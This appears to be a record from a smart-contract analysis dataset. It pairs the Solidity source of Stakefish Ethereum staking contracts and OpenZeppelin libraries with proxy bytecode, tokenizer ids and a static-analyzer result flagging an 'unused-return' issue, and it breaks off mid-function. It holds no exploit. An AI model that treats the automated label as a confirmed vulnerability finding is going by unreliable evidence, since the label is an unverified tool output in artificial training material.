_Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212200112a92692fc8fa5bd78e4c4198770b8862b197b3bc1a0b3a153c578ec3d751764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 22022, 2094, 23499, 2475, 6679, 2620, 2620, 2683, 2094, 2487, 5243, 16068, 2692, 2063, 23777, 23352, 2581, 2497, 2683, 2620, 3676, 2278, 2683, 23833, 2692, 29097, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 7987, 3695, 7534, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,328
0x96935981Cc7BD24d75407C865d2Aa3fAbaf6D57D
// Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; import "./interfaces/IStakefishServicesContract.sol"; import "./interfaces/IStakefishServicesContractFactory.sol"; import "./libraries/ProxyFactory.sol"; import "./libraries/Address.sol"; import "./StakefishServicesContract.sol"; contract StakefishServicesContractFactory is ProxyFactory, IStakefishServicesContractFactory { using Address for address; using Address for address payable; uint256 private constant FULL_DEPOSIT_SIZE = 32 ether; uint256 private constant COMMISSION_RATE_SCALE = 1000000; uint256 private _minimumDeposit = 0.1 ether; address payable private _servicesContractImpl; address private _operatorAddress; uint24 private _commissionRate; modifier onlyOperator() { require(msg.sender == _operatorAddress); _; } constructor(uint24 commissionRate) { require(uint256(commissionRate) <= COMMISSION_RATE_SCALE, "Commission rate exceeds scale"); _operatorAddress = msg.sender; _commissionRate = commissionRate; _servicesContractImpl = payable(new StakefishServicesContract()); StakefishServicesContract(_servicesContractImpl).initialize(0, address(0), ""); emit OperatorChanged(msg.sender); emit CommissionRateChanged(commissionRate); } function changeOperatorAddress(address newAddress) external override onlyOperator { require(newAddress != address(0), "Address can't be zero address"); _operatorAddress = newAddress; emit OperatorChanged(newAddress); } function changeCommissionRate(uint24 newCommissionRate) external override onlyOperator { require(uint256(newCommissionRate) <= COMMISSION_RATE_SCALE, "Commission rate exceeds scale"); _commissionRate = newCommissionRate; emit CommissionRateChanged(newCommissionRate); } function changeMinimumDeposit(uint256 newMinimumDeposit) external override onlyOperator { _minimumDeposit = newMinimumDeposit; emit MinimumDepositChanged(newMinimumDeposit); } function createContract( bytes32 saltValue, bytes32 operatorDataCommitment ) external payable override returns (address) { require (msg.value <= 32 ether); bytes memory initData = abi.encodeWithSignature( "initialize(uint24,address,bytes32)", _commissionRate, _operatorAddress, operatorDataCommitment ); address proxy = _createProxyDeterministic(_servicesContractImpl, initData, saltValue); emit ContractCreated(saltValue); if (msg.value > 0) { IStakefishServicesContract(payable(proxy)).depositOnBehalfOf{value: msg.value}(msg.sender); } return proxy; } function createMultipleContracts( uint256 baseSaltValue, bytes32[] calldata operatorDataCommitments ) external payable override { uint256 remaining = msg.value; for (uint256 i = 0; i < operatorDataCommitments.length; i++) { bytes32 salt = bytes32(baseSaltValue + i); bytes memory initData = abi.encodeWithSignature( "initialize(uint24,address,bytes32)", _commissionRate, _operatorAddress, operatorDataCommitments[i] ); address proxy = _createProxyDeterministic( _servicesContractImpl, initData, salt ); emit ContractCreated(salt); uint256 depositSize = _min(remaining, FULL_DEPOSIT_SIZE); if (depositSize > 0) { IStakefishServicesContract(payable(proxy)).depositOnBehalfOf{value: depositSize}(msg.sender); remaining -= depositSize; } } if (remaining > 0) { payable(msg.sender).sendValue(remaining); } } function fundMultipleContracts( bytes32[] calldata saltValues, bool force ) external payable override returns (uint256) { uint256 remaining = msg.value; address depositor = msg.sender; for (uint256 i = 0; i < saltValues.length; i++) { if (!force && remaining < _minimumDeposit) break; address proxy = _getDeterministicAddress(_servicesContractImpl, saltValues[i]); if (proxy.isContract()) { IStakefishServicesContract sc = IStakefishServicesContract(payable(proxy)); if (sc.getState() == IStakefishServicesContract.State.PreDeposit) { uint256 depositAmount = _min(remaining, FULL_DEPOSIT_SIZE - address(sc).balance); if (force || depositAmount >= _minimumDeposit) { sc.depositOnBehalfOf{value: depositAmount}(depositor); remaining -= depositAmount; } } } } if (remaining > 0) { payable(msg.sender).sendValue(remaining); } return remaining; } function getOperatorAddress() external view override returns (address) { return _operatorAddress; } function getCommissionRate() external view override returns (uint24) { return _commissionRate; } function getServicesContractImpl() external view override returns (address payable) { return _servicesContractImpl; } function getMinimumDeposit() external view override returns (uint256) { return _minimumDeposit; } function _min(uint256 a, uint256 b) pure internal returns (uint256) { return a <= b ? a : b; } } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.0; /// @notice Governs the life cycle of a single Eth2 validator with ETH provided by multiple stakers. interface IStakefishServicesContract { /// @notice The life cycle of a services contract. enum State { NotInitialized, PreDeposit, PostDeposit, Withdrawn } /// @notice Emitted when a `spender` is set to allow the transfer of an `owner`'s deposit stake amount. /// `amount` is the new allownace. /// @dev Also emitted when {transferDepositFrom} is called. event Approval( address indexed owner, address indexed spender, uint256 amount ); /// @notice Emitted when deposit stake amount is transferred. /// @param from The address of deposit stake owner. /// @param to The address of deposit stake beneficiary. /// @param amount The amount of transferred deposit stake. event Transfer( address indexed from, address indexed to, uint256 amount ); /// @notice Emitted when a `spender` is set to allow withdrawal on behalf of a `owner`. /// `amount` is the new allowance. /// @dev Also emitted when {WithdrawFrom} is called. event WithdrawalApproval( address indexed owner, address indexed spender, uint256 amount ); /// @notice Emitted when `owner`'s ETH are withdrawan to `to`. /// @param owner The address of deposit stake owner. /// @param to The address of ETH beneficiary. /// @param amount The amount of deposit stake to be converted to ETH. /// @param value The amount of withdrawn ETH. event Withdrawal( address indexed owner, address indexed to, uint256 amount, uint256 value ); /// @notice Emitted when 32 ETH is transferred to the eth2 deposit contract. /// @param pubkey A BLS12-381 public key. event ValidatorDeposited( bytes pubkey // 48 bytes ); /// @notice Emitted when a validator exits and the operator settles the commission. event ServiceEnd(); /// @notice Emitted when deposit to the services contract. /// @param from The address of the deposit stake owner. /// @param amount The accepted amount of ETH deposited into the services contract. event Deposit( address from, uint256 amount ); /// @notice Emitted when operaotr claims commission fee. /// @param receiver The address of the operator. /// @param amount The amount of ETH sent to the operator address. event Claim( address receiver, uint256 amount ); /// @notice Updates the exit date of the validator. /// @dev The exit date should be in the range of uint64. /// @param newExitDate The new exit date should come before the previously specified exit date. function updateExitDate(uint64 newExitDate) external; /// @notice Submits a Phase 0 DepositData to the eth2 deposit contract. /// @dev The Keccak hash of the contract address and all submitted data should match the `_operatorDataCommitment`. /// Emits a {ValidatorDeposited} event. /// @param validatorPubKey A BLS12-381 public key. /// @param depositSignature A BLS12-381 signature. /// @param depositDataRoot The SHA-256 hash of the SSZ-encoded DepositData object. /// @param exitDate The expected exit date of the created validator function createValidator( bytes calldata validatorPubKey, // 48 bytes bytes calldata depositSignature, // 96 bytes bytes32 depositDataRoot, uint64 exitDate ) external; /// @notice Deposits `msg.value` of ETH. /// @dev If the balance of the contract exceeds 32 ETH, the excess will be sent /// back to `msg.sender`. /// Emits a {Deposit} event. function deposit() external payable returns (uint256 surplus); /// @notice Deposits `msg.value` of ETH on behalf of `depositor`. /// @dev If the balance of the contract exceeds 32 ETH, the excess will be sent /// back to `depositor`. /// Emits a {Deposit} event. function depositOnBehalfOf(address depositor) external payable returns (uint256 surplus); /// @notice Settles operator service commission and enable withdrawal. /// @dev It can be called by operator if the time has passed `_exitDate`. /// It can be called by any address if the time has passed `_exitDate + MAX_SECONDS_IN_EXIT_QUEUE`. /// Emits a {ServiceEnd} event. function endOperatorServices() external; /// @notice Withdraws all the ETH of `msg.sender`. /// @dev It can only be called when the contract state is not `PostDeposit`. /// Emits a {Withdrawal} event. /// @param minimumETHAmount The minimum amount of ETH that must be received for the transaction not to revert. function withdrawAll(uint256 minimumETHAmount) external returns (uint256); /// @notice Withdraws the ETH of `msg.sender` which is corresponding to the `amount` of deposit stake. /// @dev It can only be called when the contract state is not `PostDeposit`. /// Emits a {Withdrawal} event. /// @param amount The amount of deposit stake to be converted to ETH. /// @param minimumETHAmount The minimum amount of ETH that must be received for the transaction not to revert. function withdraw(uint256 amount, uint256 minimumETHAmount) external returns (uint256); /// @notice Withdraws the ETH of `msg.sender` which is corresponding to the `amount` of deposit stake to a specified address. /// @dev It can only be called when the contract state is not `PostDeposit`. /// Emits a {Withdrawal} event. /// @param amount The amount of deposit stake to be converted to ETH. /// @param beneficiary The address of ETH receiver. /// @param minimumETHAmount The minimum amount of ETH that must be received for the transaction not to revert. function withdrawTo( uint256 amount, address payable beneficiary, uint256 minimumETHAmount ) external returns (uint256); /// @notice Sets `amount` as the allowance of `spender` over the caller's deposit stake. /// @dev Emits an {Approval} event. function approve(address spender, uint256 amount) external returns (bool); /// @notice Increases the allowance granted to `spender` by the caller. /// @dev Emits an {Approval} event indicating the upated allowances; function increaseAllowance(address spender, uint256 addValue) external returns (bool); /// @notice Decreases the allowance granted to `spender` by the caller. /// @dev Emits an {Approval} event indicating the upated allowances; /// It reverts if current allowance is less than `subtractedValue`. function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); /// @notice Decreases the allowance granted to `spender` by the caller. /// @dev Emits an {Approval} event indicating the upated allowances; /// It sets allowance to zero if current allowance is less than `subtractedValue`. function forceDecreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); /// @notice Sets `amount` as the allowance of `spender` over the caller's deposit amount that can be withdrawn. /// @dev Emits an {WithdrawalApproval} event. function approveWithdrawal(address spender, uint256 amount) external returns (bool); /// @notice Increases the allowance of withdrawal granted to `spender` by the caller. /// @dev Emits an {WithdrawalApproval} event indicating the upated allowances; function increaseWithdrawalAllowance(address spender, uint256 addValue) external returns (bool); /// @notice Decreases the allowance of withdrawal granted to `spender` by the caller. /// @dev Emits an {WithdrawwalApproval} event indicating the upated allowances; /// It reverts if current allowance is less than `subtractedValue`. function decreaseWithdrawalAllowance(address spender, uint256 subtractedValue) external returns (bool); /// @notice Decreases the allowance of withdrawal granted to `spender` by the caller. /// @dev Emits an {WithdrawwalApproval} event indicating the upated allowances; /// It reverts if current allowance is less than `subtractedValue`. function forceDecreaseWithdrawalAllowance(address spender, uint256 subtractedValue) external returns (bool); /// @notice Withdraws the ETH of `depositor` which is corresponding to the `amount` of deposit stake to a specified address. /// @dev Emits a {Withdrawal} event. /// Emits a {WithdrawalApproval} event indicating the updated allowance. /// @param depositor The address of deposit stake holder. /// @param beneficiary The address of ETH receiver. /// @param amount The amount of deposit stake to be converted to ETH. /// @param minimumETHAmount The minimum amount of ETH that must be received for the transaction not to revert. function withdrawFrom( address depositor, address payable beneficiary, uint256 amount, uint256 minimumETHAmount ) external returns (uint256); /// @notice Transfers `amount` deposit stake from caller to `to`. /// @dev Emits a {Transfer} event. function transferDeposit(address to, uint256 amount) external returns (bool); /// @notice Transfers `amount` deposit stake from `from` to `to`. /// @dev Emits a {Transfer} event. /// Emits an {Approval} event indicating the updated allowance. function transferDepositFrom( address from, address to, uint256 amount ) external returns (bool); /// @notice Transfers operator claimable commission fee to the operator address. /// @dev Emits a {Claim} event. function operatorClaim() external returns (uint256); /// @notice Returns the remaining number of deposit stake that `spender` will be allowed to withdraw /// on behalf of `depositor` through {withdrawFrom}. function withdrawalAllowance(address depositor, address spender) external view returns (uint256); /// @notice Returns the operator service commission rate. function getCommissionRate() external view returns (uint256); /// @notice Returns operator claimable commission fee. function getOperatorClaimable() external view returns (uint256); /// @notice Returns the exit date of the validator. function getExitDate() external view returns (uint256); /// @notice Returns the state of the contract. function getState() external view returns (State); /// @notice Returns the address of operator. function getOperatorAddress() external view returns (address); /// @notice Returns the amount of deposit stake owned by `depositor`. function getDeposit(address depositor) external view returns (uint256); /// @notice Returns the total amount of deposit stake. function getTotalDeposits() external view returns (uint256); /// @notice Returns the remaining number of deposit stake that `spender` will be allowed to transfer /// on behalf of `depositor` through {transferDepositFrom}. function getAllowance(address owner, address spender) external view returns (uint256); /// @notice Returns the commitment which is the hash of the contract address and all inputs to the `createValidator` function. function getOperatorDataCommitment() external view returns (bytes32); /// @notice Returns the amount of ETH that is withdrawable by `owner`. function getWithdrawableAmount(address owner) external view returns (uint256); } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.0; /// @notice Manages the deployment of services contracts interface IStakefishServicesContractFactory { /// @notice Emitted when a proxy contract of the services contract is created event ContractCreated( bytes32 create2Salt ); /// @notice Emitted when operator service commission rate is set or changed. event CommissionRateChanged( uint256 newCommissionRate ); /// @notice Emitted when operator address is set or changed. event OperatorChanged( address newOperatorAddress ); /// @notice Emitted when minimum deposit amount is changed. event MinimumDepositChanged( uint256 newMinimumDeposit ); /// @notice Updates the operator service commission rate. /// @dev Emits a {CommissionRateChanged} event. function changeCommissionRate(uint24 newCommissionRate) external; /// @notice Updates address of the operator. /// @dev Emits a {OperatorChanged} event. function changeOperatorAddress(address newAddress) external; /// @notice Updates the minimum size of deposit allowed. /// @dev Emits a {MinimumDeposiChanged} event. function changeMinimumDeposit(uint256 newMinimumDeposit) external; /// @notice Deploys a proxy contract of the services contract at a deterministic address. /// @dev Emits a {ContractCreated} event. function createContract(bytes32 saltValue, bytes32 operatorDataCommitmet) external payable returns (address); /// @notice Deploys multiple proxy contracts of the services contract at deterministic addresses. /// @dev Emits a {ContractCreated} event for each deployed proxy contract. function createMultipleContracts(uint256 baseSaltValue, bytes32[] calldata operatorDataCommitmets) external payable; /// @notice Funds multiple services contracts in order. /// @dev The surplus will be returned to caller if all services contracts are filled up. /// Using salt instead of address to prevent depositing into malicious contracts. /// @param saltValues The salts that are used to deploy services contracts. /// @param force If set to `false` then it will only deposit into a services contract /// when it has more than `MINIMUM_DEPOSIT` ETH of capacity. /// @return surplus The amount of returned ETH. function fundMultipleContracts(bytes32[] calldata saltValues, bool force) external payable returns (uint256); /// @notice Returns the address of the operator. function getOperatorAddress() external view returns (address); /// @notice Returns the operator service commission rate. function getCommissionRate() external view returns (uint24); /// @notice Returns the address of implementation of services contract. function getServicesContractImpl() external view returns (address payable); /// @notice Returns the minimum deposit amount. function getMinimumDeposit() external view returns (uint256); } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; /// @dev https://eips.ethereum.org/EIPS/eip-1167 contract ProxyFactory { function _getDeterministicAddress( address target, bytes32 salt ) internal view returns (address proxy) { address deployer = address(this); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), shl(0x60, target)) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(clone, 0x38), shl(0x60, deployer)) mstore(add(clone, 0x4c), salt) mstore(add(clone, 0x6c), keccak256(clone, 0x37)) proxy := keccak256(add(clone, 0x37), 0x55) } } function _createProxyDeterministic( address target, bytes memory initData, bytes32 salt ) internal returns (address proxy) { assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), shl(0x60, target)) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) proxy := create2(0, clone, 0x37, salt) } require(proxy != address(0), "Proxy deploy failed"); if (initData.length > 0) { (bool success, ) = proxy.call(initData); require(success, "Proxy init failed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4d0f8c1da8654a478f046ea7cf83d2166e1025af/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; import "./interfaces/deposit_contract.sol"; import "./interfaces/IStakefishServicesContract.sol"; import "./libraries/Address.sol"; contract StakefishServicesContract is IStakefishServicesContract { using Address for address payable; uint256 private constant HOUR = 3600; uint256 private constant DAY = 24 * HOUR; uint256 private constant WEEK = 7 * DAY; uint256 private constant YEAR = 365 * DAY; uint256 private constant MAX_SECONDS_IN_EXIT_QUEUE = 1 * YEAR; uint256 private constant COMMISSION_RATE_SCALE = 1000000; // Packed into a single slot uint24 private _commissionRate; address private _operatorAddress; uint64 private _exitDate; State private _state; bytes32 private _operatorDataCommitment; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => mapping(address => uint256)) private _allowedWithdrawals; mapping(address => uint256) private _deposits; uint256 private _totalDeposits; uint256 private _operatorClaimable; IDepositContract public constant depositContract = IDepositContract(0x00000000219ab540356cBB839Cbe05303d7705Fa); modifier onlyOperator() { require( msg.sender == _operatorAddress, "Caller is not the operator" ); _; } modifier initializer() { require( _state == State.NotInitialized, "Contract is already initialized" ); _state = State.PreDeposit; _; } function initialize( uint24 commissionRate, address operatorAddress, bytes32 operatorDataCommitment ) external initializer { require(uint256(commissionRate) <= COMMISSION_RATE_SCALE, "Commission rate exceeds scale"); _commissionRate = commissionRate; _operatorAddress = operatorAddress; _operatorDataCommitment = operatorDataCommitment; } receive() payable external { if (_state == State.PreDeposit) { revert("Plain Ether transfer not allowed"); } } function updateExitDate(uint64 newExitDate) external override onlyOperator { require( _state == State.PostDeposit, "Validator is not active" ); require( newExitDate < _exitDate, "Not earlier than the original value" ); _exitDate = newExitDate; } function createValidator( bytes calldata validatorPubKey, // 48 bytes bytes calldata depositSignature, // 96 bytes bytes32 depositDataRoot, uint64 exitDate ) external override onlyOperator { require(_state == State.PreDeposit, "Validator has been created"); _state = State.PostDeposit; require(validatorPubKey.length == 48, "Invalid validator public key"); require(depositSignature.length == 96, "Invalid deposit signature"); require(_operatorDataCommitment == keccak256( abi.encodePacked( address(this), validatorPubKey, depositSignature, depositDataRoot, exitDate ) ), "Data doesn't match commitment"); _exitDate = exitDate; depositContract.deposit{value: 32 ether}( validatorPubKey, abi.encodePacked(uint96(0x010000000000000000000000), address(this)), depositSignature, depositDataRoot ); emit ValidatorDeposited(validatorPubKey); } function deposit() external payable override returns (uint256 surplus) { require( _state == State.PreDeposit, "Validator already created" ); return _handleDeposit(msg.sender); } function depositOnBehalfOf(address depositor) external payable override returns (uint256 surplus) { require( _state == State.PreDeposit, "Validator already created" ); return _handleDeposit(depositor); } function endOperatorServices() external override { uint256 balance = 